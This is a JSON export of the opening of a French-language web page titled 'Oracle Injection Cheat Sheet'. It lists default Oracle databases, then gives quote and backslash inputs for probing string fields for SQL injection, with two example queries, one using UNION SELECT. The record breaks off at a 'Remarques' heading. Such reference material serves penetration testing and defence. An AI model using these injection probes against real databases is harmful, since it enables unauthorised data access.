{"id":612,"date":"2013-02-21T17:04:28","date_gmt":"2013-02-21T15:04:28","guid":{"rendered":"https:\/\/www.asafety.fr\/?page_id=612"},"modified":"2015-11-13T12:16:26","modified_gmt":"2015-11-13T10:16:26","slug":"oracle-injection-cheat-sheet","status":"publish","type":"page","link":"https:\/\/www.asafety.fr\/en\/oracle-injection-cheat-sheet\/","title":{"rendered":"Oracle Injection Cheat Sheet"},"content":{"rendered":"

<\/p>\n

Introduction<\/h2>\n

Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l\u2019ensemble des vecteurs d\u2019attaque pour des injections SQL (SQLi & BSQLi) ciblant les bases de donn\u00e9es Oracle.<\/p>\n

Toutes les syntaxes, requ\u00eates, codes sources, PoC et exemples ont \u00e9t\u00e9 test\u00e9s et valid\u00e9s pour la production de cette synth\u00e8se.<\/p>\n

Bases de donn\u00e9es par d\u00e9faut<\/h2>\n\n\n\n\n
SYSTEM<\/td>\nDisponible dans toutes les versions<\/td>\n<\/tr>\n
SYSAUX<\/td>\nDisponible dans toutes les versions<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Tester une injection<\/h2>\n

Injection dans une cha\u00eene de caract\u00e8res<\/h3>\n

Pour la requ\u00eate suivante :<\/strong><\/p>\n

[sql]SELECT * FROM dual WHERE DUMMY = ‘[INJ]’;[\/sql]<\/p>\n\n\n\n\n\n\n\n\n
‘<\/td>\nSimple quote x1<\/td>\nFalse<\/td>\n<\/tr>\n
‘ ‘<\/td>\nSimple quote x2<\/td>\nTrue<\/td>\n<\/tr>\n
“<\/td>\nDouble quote x1<\/td>\nFalse<\/td>\n<\/tr>\n
“”<\/td>\nDouble quote x2<\/td>\nTrue<\/td>\n<\/tr>\n
\\<\/td>\nBackslash x1<\/td>\nFalse<\/td>\n<\/tr>\n
\\\\<\/td>\nBackslash x2<\/td>\nTrue<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Exemples :<\/strong><\/p>\n

[sql]SELECT * FROM dual WHERE DUMMY = ‘xxx”’;
\nSELECT * FROM dual WHERE data = ‘1”””””’UNION SELECT ‘Y’ FROM dual;[\/sql]<\/p>\n

Remarques :<\/strong><\/p>\n